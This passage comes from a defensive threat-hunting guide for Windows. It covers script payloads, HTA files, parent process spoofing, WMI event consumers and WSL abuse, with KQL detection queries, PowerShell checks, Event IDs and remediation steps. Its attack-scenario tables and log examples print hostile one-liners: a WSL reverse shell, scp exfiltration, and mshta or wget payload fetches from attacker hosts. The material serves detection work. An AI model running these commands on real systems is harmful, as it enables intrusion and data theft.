| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace Network Payloads from Scripts

DeviceProcessEvents
| where FileName in ("powershell.exe", "cmd.exe", "cscript.exe", "wscript.exe")
| where ProcessCommandLine contains "http://" or ProcessCommandLine contains "https://"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., cmd.exe, powershell.exe).

5156

A network connection was allowed.

4663

Object access attempt detected.

4104

PowerShell script block logging.

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.exe"
ProcessCommandLine: cmd.exe /c "curl http://malicious.com/file"

📌 Focus on Event ID 5156:

  • Check for network connections to external IPs:

    RemoteIP: 45.67.89.123
RemotePort: 443

🕵️ 3. Investigation Techniques

1️⃣ Trace Network Connections

netstat -ano | findstr :80

2️⃣ Inspect Process Trees

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

3️⃣ Analyze DNS Queries

Check logs for unusual DNS queries:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DNS-Client/Operational'}

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Id <PID> -Force

📌 2. Block Malicious IPs and Domains

New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block

📌 3. Remove Malicious Scripts

Remove-Item -Path "C:\Temp\script.ps1" -Force

📌 4. Clear DNS Cache

Clear-DnsClientCache

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Monitor Suspicious Network Connections.

  2. Restrict Script Execution with AppLocker.

  3. Enable DNS Logging and Monitoring.

  4. Limit Outbound Traffic to Trusted Domains.

  5. Apply Least Privilege Principles.

🧠 6. Key Takeaways

  • Network Payloads are Stealthy: Focus on HTTP/S, DNS, and external IPs.

  • Monitor Event IDs: 4688, 5156, 4663, 4104.

  • Track Parent-Child Processes: Especially involving scripts.

🚨 HTA File Created

🔍 1. Attack Breakdown

📝 What is an HTA File?

  • HTA (HTML Application) files are executable HTML files processed by mshta.exe, a legitimate Windows binary.

  • HTA files allow execution of VBScript, JavaScript, or embedded executable code.

  • Attackers use HTA files for:

    • Initial Access: Spear phishing or malicious downloads.

    • Execution Proxy: Running scripts without restrictions.

    • Persistence: Scheduled tasks or startup entries.

    • Defense Evasion: Masking malicious intent in seemingly benign HTML code.

📑 Why Do Attackers Use HTA Files?

  • Trusted Binary: mshta.exe is signed by Microsoft.

  • Execution Flexibility: Runs VBScript, JavaScript, and embedded payloads.

  • Low Detection Rate: Often bypasses antivirus and endpoint defenses.

  • Fileless Attack: Can execute directly from memory.

  • Remote Execution: Supports execution via URLs.

📌 Common Attack Scenarios

Technique

Description

Example Command

HTA via Email Attachment

Malicious HTA file attached in phishing emails.

malware.hta

HTA via URL Delivery

Hosted on attacker-controlled domains.

mshta.exe http://attacker.com/payload.hta

Fileless Execution

HTA file executed directly from memory.

mshta.exe vbscript:Execute("malicious code")

HTA Dropper

HTA file drops and executes additional payloads.

mshta.exe %TEMP%\malware.hta

Persistence via Scheduled Task

HTA used in scheduled tasks.

schtasks /create /tn "Updater" /tr "mshta.exe payload.hta" /sc daily

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Search for Recently Created HTA Files

Get-ChildItem -Path "C:\Users\", "C:\Windows\Temp", "C:\ProgramData" -Filter "*.hta" -Recurse | 
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) } | 
Select-Object FullName, LastWriteTime

🕵️ Inspect HTA File Contents

Get-Content -Path "C:\Path\to\file.hta"

🕵️ List Processes Executing HTA Files

Get-Process -Name mshta | Select-Object Id, ProcessName, Path, StartTime

🕵️ Check Parent-Child Process Relationship

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "mshta.exe" } | 
Select-Object ProcessId, ParentProcessId, CommandLine

🕵️ Identify Suspicious Scheduled Tasks

schtasks /query /fo LIST /v | findstr "mshta.exe"

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect HTA File Creation

DeviceFileEvents
| where FileName endswith ".hta"
| where FolderPath contains "Temp" or FolderPath contains "Downloads"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Monitor HTA Execution

DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains ".hta" or ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify HTA File Delivered via Web

DeviceNetworkEvents
| where InitiatingProcessFileName == "mshta.exe"
| where RemoteUrl contains ".hta"
| project Timestamp, DeviceName, RemoteUrl, ProcessCommandLine, AccountName

🕵️ Trace HTA Activity via Scheduled Tasks

DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "mshta.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Find Obfuscated HTA Commands

DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains "vbscript" or ProcessCommandLine contains "Execute"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., mshta.exe).

4663

Object access attempt (e.g., HTA file access).

4104

PowerShell script block execution.

7045

A new service was installed on the system.

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: mshta.exe C:\Users\User\Downloads\malicious.hta
ProcessCommandLine: mshta.exe http://attacker.com/payload.hta

📌 Focus on Event ID 4663:

  • Object access to .hta files:

    FileName: malicious.hta

🕵️ 3. Investigation Techniques

1️⃣ Analyze HTA File Contents

  • Review HTA file for suspicious code:

Get-Content -Path "C:\Users\User\Downloads\malicious.hta"

2️⃣ Trace HTA Network Activity

  • Identify external connections made by HTA:

netstat -ano | findstr <PID>

3️⃣ Review Parent Process

  • Trace the process tree:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

4️⃣ Check for Persistence

  • Review scheduled tasks or startup entries:

schtasks /query /fo LIST /v

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Name "mshta" -Force

📌 2. Delete Malicious HTA Files

Remove-Item -Path "C:\Users\User\Downloads\malicious.hta" -Force

📌 3. Audit Scheduled Tasks

schtasks /delete /tn "UpdaterTask" /f

📌 4. Block HTA Execution

  • Disable HTA files in Windows:

reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Disable HTA Execution via GPO:

    • Prevent mshta.exe from running.

  2. Monitor HTA File Creations:

    • Regularly review Downloads and Temp directories.

  3. Enable Process Command-Line Auditing:

    • Track mshta.exe executions.

  4. Restrict Scheduled Task Execution:

    • Limit user permissions for task creation.

  5. Educate Users:

    • Warn against executing unknown HTA files.

🚨 Spoofed Privileged Parent Process Detected

🔍 1. Attack Breakdown

📝 What is a Spoofed Privileged Parent Process?

  • A Spoofed Privileged Parent Process occurs when an attacker creates a child process under a highly privileged parent process (e.g., lsass.exe, explorer.exe, services.exe) to:

    • Execute malicious payloads.

    • Bypass security policies.

    • Gain elevated privileges.

    • Evade detection by masquerading as legitimate activity.

📑 Why Attackers Use Privileged Parent Process Spoofing?

  • Stealth: Malicious processes blend in with legitimate ones.

  • Privilege Escalation: Gain SYSTEM or ADMIN privileges.

  • Evasion: Security tools may trust child processes of known legitimate parent processes.

  • Execution Proxy: Launch malicious code under trusted processes.

  • Persistence: Embed malicious activities in long-lived processes.

📌 Common Attack Scenarios

Technique

Description

Example Command

Process Injection

Inject payloads into a privileged parent process.

rundll32.exe inject.dll

Parent PID Spoofing

Manually set a process's parent PID.

CreateProcessWithParentPID

Windows API Abuse

Use APIs like CreateRemoteThread.

CreateRemoteThread(ProcessId)

Reflective DLL Injection

Inject malicious DLLs into privileged processes.

powershell.exe -exec bypass Invoke-ReflectiveDLLInjection

CMD/Powershell via Trusted Process

Execute malicious commands under trusted processes.

cmd.exe /c malicious.bat

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List Suspicious Parent-Child Relationships

Get-CimInstance Win32_Process | Where-Object {
    $_.ParentProcessId -in (Get-Process -Name "lsass", "explorer", "services").Id
} | Select-Object ProcessId, ParentProcessId, Name, CommandLine

🕵️ Identify Processes with Abnormal Parent-Child Pairings

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*ParentProcessName: *lsass.exe*" -or $_.Message -like "*ParentProcessName: *services.exe*"
}

🕵️ Inspect Processes with Elevated Privileges

Get-Process | Where-Object { $_.Path -like "*Temp*" -or $_.Path -like "*AppData*" }

🕵️ Check Loaded Modules in Suspicious Processes

Get-Process -Id <PID> -Module | Where-Object { $_.ModuleName -like "*.dll" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious Parent-Child Process Relationships

DeviceProcessEvents
| where ParentProcessFileName in ("lsass.exe", "services.exe", "explorer.exe")
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify Processes Running from Suspicious Directories

DeviceProcessEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where ParentProcessFileName in ("lsass.exe", "services.exe")
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName

🕵️ Detect Process Injection Activity

DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| where ParentProcessFileName in ("lsass.exe", "services.exe")
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Abnormal Child Processes of Privileged Parents

DeviceProcessEvents
| where ParentProcessFileName in ("lsass.exe", "services.exe", "explorer.exe")
| where FileName in ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, FileName, ParentProcessName, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., cmd.exe, powershell.exe).

4663

Object access attempt.

4656

Handle to an object was requested.

7045

A new service was installed.

📌 Focus on Event ID 4688:

  • Look for:

    ParentProcessName: lsass.exe
CommandLine: cmd.exe /c payload.bat

📌 Focus on Event ID 7045:

  • New service installations by suspicious parent processes:

    ServiceName: MaliciousService

🕵️ 3. Investigation Techniques

1️⃣ Trace Parent Process Anomalies

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

2️⃣ Inspect DLLs Loaded in Suspicious Processes

Get-Process -Id <PID> -Module | Where-Object { $_.ModuleName -like "*.dll" }

3️⃣ Inspect Temporary Directories for Scripts or Payloads

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Include *.exe, *.bat, *.ps1

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Id <PID> -Force

📌 2. Quarantine Suspicious Payloads

Move-Item -Path "C:\Windows\Temp\malicious.exe" -Destination "C:\Quarantine"

📌 3. Audit Scheduled Tasks

schtasks /query /fo LIST /v

📌 4. Remove Malicious Registry Entries

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousEntry"

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Monitor Privileged Parent Processes:

    • Audit child processes under lsass.exe, services.exe, explorer.exe.

  2. Implement Process Integrity Policies:

    • Use Windows Defender Application Control (WDAC).

  3. Enable Command Line Auditing:

    • Capture arguments of processes launched by privileged parents.

  4. Restrict Access to Sensitive APIs:

    • Prevent unauthorized CreateRemoteThread calls.

  5. Educate Security Teams:

    • Ensure analysts understand privileged parent process abuse.

🧠 6. Key Takeaways

  • Focus on Event IDs: 4688, 4663, 7045.

  • Monitor Process Hierarchies: Validate child processes of privileged parents.

  • Investigate Anomalies in Temporary Directories: Payloads often reside in Temp or AppData.

  • Apply Least Privilege Principle: Prevent unnecessary elevated access.

🚨 Suspicious WMI Process: Active Script Event Consumer

🔍 1. Attack Breakdown

📝 What is an Active Script Event Consumer?

  • Windows Management Instrumentation (WMI) is a powerful system management framework used for monitoring, querying, and automation in Windows environments.

  • Active Script Event Consumers allow WMI to execute VBScript or JScript when specific conditions (WMI events) are met.

  • Attackers abuse WMI Active Script Event Consumers to:

    • Establish Persistence: Trigger scripts automatically on system events.

    • Execute Payloads Silently: Run scripts without dropping files on disk.

    • Evade Detection: Use native Windows tools, bypassing many security solutions.

📑 Why Attackers Use WMI Active Script Event Consumers?

  • Fileless Persistence: No files are dropped on disk.

  • Stealth: Native Windows tools are trusted by antivirus solutions.

  • Automated Execution: Execute malicious scripts on specific triggers.

  • Wide Reach: WMI is accessible across the network.

  • Flexibility: Supports VBScript, JScript, and Powershell execution.

📌 Common Attack Scenarios

Technique

Description

Example Command

Persistence via Event Consumers

Trigger malicious VBScript on a system event.

wmic /namespace:\\root\subscription PATH __EventConsumer CREATE

Script Execution via WMI

Use WMI to run a payload.

wmic /namespace:\\root\subscription PATH CommandLineEventConsumer

Scheduled Task via WMI

WMI triggers a payload at a specific time.

powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.ps1"

Remote WMI Execution

Use WMI to execute payloads remotely.

wmic /node:<remote-host> process call create "cmd.exe /c payload.exe"

Obfuscated VBScript in WMI Consumer

Obfuscated payload in VBScript.

wmic /namespace:\\root\subscription PATH ActiveScriptEventConsumer

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List All WMI Event Consumers

Get-WmiObject -Namespace root\subscription -Class __EventConsumer

🕵️ Search for Active Script Event Consumers

Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText

🕵️ Check for Command Line Event Consumers

Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate

🕵️ Identify Suspicious Scripts in WMI

Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | 
Where-Object { $_.ScriptText -match "cmd|powershell|Invoke-WebRequest" }

🕵️ Monitor Recent WMI Events

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WMI-Activity/Operational'; Id=5857}

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Active Script Event Consumers

DeviceProcessEvents
| where FileName == "wmic.exe" or FileName == "powershell.exe"
| where ProcessCommandLine contains "EventConsumer" or ProcessCommandLine contains "ActiveScriptEventConsumer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Identify Suspicious WMI Commands

DeviceProcessEvents
| where FileName == "wmic.exe"
| where ProcessCommandLine contains "namespace:\\root\subscription"
| where ProcessCommandLine contains "EventConsumer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace Event Consumers with Suspicious Script Content

DeviceProcessEvents
| where ProcessCommandLine contains "ScriptText"
| where ProcessCommandLine contains "cmd" or ProcessCommandLine contains "powershell"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Remote WMI Execution

DeviceProcessEvents
| where ProcessCommandLine contains "wmic /node:"
| where ProcessCommandLine contains "process call create"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Detect Script-Based WMI Consumers

DeviceProcessEvents
| where ProcessCommandLine contains "ActiveScriptEventConsumer"
| where ProcessCommandLine contains "vbscript" or ProcessCommandLine contains "jscript"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., wmic.exe).

5857

WMI Consumer Process detected.

4663

Object access attempt.

4104

PowerShell script block execution.

📌 Focus on Event ID 5857:

  • Look for:

    ConsumerName: ActiveScriptEventConsumer
ScriptText: powershell.exe -EncodedCommand

📌 Focus on Event ID 4688:

  • Trace processes related to WMI Event Consumers:

    ProcessCommandLine: wmic /namespace:\\root\subscription

🕵️ 3. Investigation Techniques

1️⃣ Review Active WMI Consumers

  • Inspect WMI Consumer activity:

Get-WmiObject -Namespace root\subscription -Class __EventConsumer

2️⃣ Analyze EventConsumer Scripts

  • Extract script content:

Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText

3️⃣ Inspect Remote WMI Execution

  • Identify WMI execution across systems:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688}

🔧 4. Remediation Steps

📌 1. Remove Suspicious WMI Event Consumers

Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Remove-WmiObject

📌 2. Disable WMI Service (if not in use)

Stop-Service -Name Winmgmt -Force
Set-Service -Name Winmgmt -StartupType Disabled

📌 3. Audit WMI Access Permissions

Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Select-Object Name, SecurityDescriptor

📌 4. Block Malicious Scripts

Remove-Item -Path "C:\Windows\Temp\malicious.ps1"

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Enable WMI Auditing.

  2. Monitor WMI Event Consumers Regularly.

  3. Restrict Administrative WMI Access.

  4. Disable Unnecessary WMI Namespaces.

  5. Apply Least Privilege Principle.

🧠 6. Key Takeaways

  • Focus on WMI Event IDs: 5857, 4688, 4663.

  • Monitor Script Text in Consumers: Look for VBScript, JScript, and PowerShell usage.

  • Restrict WMI Access: Apply strict permissions.

🚨 First Time Seen WSL Process Running on Machine: Advanced Threat Analysis

🔍 **1. Attack Breakdown

📝 What is WSL?

  • Windows Subsystem for Linux (WSL) allows users to run a Linux environment directly on Windows, without requiring a virtual machine or dual-boot setup.

  • WSL can execute Linux commands, scripts, and binaries directly from Windows.

📑 Why Attackers Exploit WSL?

  • Living Off the Land (LotL): Use trusted system components for malicious purposes.

  • Stealth: Many endpoint solutions may not effectively monitor WSL processes.

  • Fileless Execution: Malicious payloads can run directly in memory.

  • Cross-Platform Attacks: Ability to use Linux tools on Windows.

  • Bypass Security Controls: WSL processes may evade detection policies.

📌 Common Attack Scenarios

Technique

Description

Example Command

WSL Reverse Shell

Establish a reverse shell using WSL.

wsl bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"

WSL Malware Execution

Run malicious binaries using WSL.

wsl /mnt/c/temp/malware.sh

Fileless Malware

Download and execute payloads directly from WSL.

`wsl curl http://attacker.com/script.sh

Persistence via WSL Cron

Set up persistent tasks via Linux cron jobs.

wsl crontab -e

Data Exfiltration via WSL

Use WSL tools for stealthy data exfiltration.

wsl scp /mnt/c/sensitive_data.txt attacker@attacker.com:/loot

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List WSL Processes Running on Windows

Get-Process -Name "wsl"

🕵️ Check WSL Execution History in Windows Event Logs

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*wsl.exe*" }

🕵️ Identify Recent WSL Commands Executed

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WinRM/Operational'} | Where-Object { $_.Message -like "*wsl*" }

🕵️ Look for WSL-Related Processes Launching Windows Commands

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "wsl.exe" } | Select-Object ProcessId, CommandLine

🕵️ Trace Parent-Child Process Relationship

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq (Get-Process -Name "wsl").Id }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect First-Time WSL Process Execution

DeviceProcessEvents
| where FileName == "wsl.exe"
| summarize FirstSeen=min(Timestamp) by DeviceName, FileName
| project DeviceName, FileName, FirstSeen

🕵️ Monitor Suspicious WSL Commands

DeviceProcessEvents
| where FileName == "wsl.exe"
| where ProcessCommandLine contains "curl" or ProcessCommandLine contains "wget"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace WSL Network Connections

DeviceNetworkEvents
| where InitiatingProcessFileName == "wsl.exe"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, RemotePort, ProcessCommandLine

🕵️ Detect WSL Accessing Suspicious Files

DeviceFileEvents
| where FileName contains "wsl"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Identify Privileged Commands Executed via WSL

DeviceProcessEvents
| where FileName == "wsl.exe"
| where ProcessCommandLine contains "chmod" or ProcessCommandLine contains "sudo"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (wsl.exe).

4663

An attempt was made to access an object (e.g., files accessed via WSL).

5156

A network connection was allowed (trace WSL-originating traffic).

4104

PowerShell script block execution (if WSL is invoked via PowerShell).

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: wsl.exe -e bash -c "wget http://attacker.com/payload.sh"
ParentProcessName: explorer.exe

📌 Focus on Event ID 5156:

  • Network activity:

    RemoteIP: 45.67.89.123
RemotePort: 443

🕵️ 3. Investigation Techniques

1️⃣ Analyze WSL Processes

  • Inspect currently running WSL processes:

Get-Process -Name "wsl"

2️⃣ Trace Network Activity from WSL

  • Check active network connections:

netstat -ano | findstr <PID>

3️⃣ Inspect File Access via WSL

  • Look for recently modified files:

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Recurse

🔧 4. Remediation Steps

📌 1. Terminate Malicious WSL Processes

Stop-Process -Name "wsl" -Force

📌 2. Disable WSL (if unused)

Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

📌 3. Audit User Permissions

  • Verify only authorized users can run WSL.

📌 4. Block Suspicious IPs

New-NetFirewallRule -DisplayName "Block Suspicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Enable Logging for WSL:

    • Monitor all WSL-related events.

  2. Restrict WSL Installation:

    • Allow installation only for specific accounts.

  3. Monitor Network Connections:

    • Identify external communication from WSL.

  4. Regular Auditing:

    • Check Event IDs 4688, 4663, 5156 frequently.

  5. Limit Execution of Sudo Commands:

    • Enforce least privilege principles.

🧠 6. Key Takeaways

  • First-Time WSL Execution: Could indicate suspicious activity.

  • Focus on Event IDs: 4688, 4663, 5156.

  • Trace Network Connections: Look for outbound communication.

  • Monitor Script Execution: Pay attention to WSL launching external scripts.

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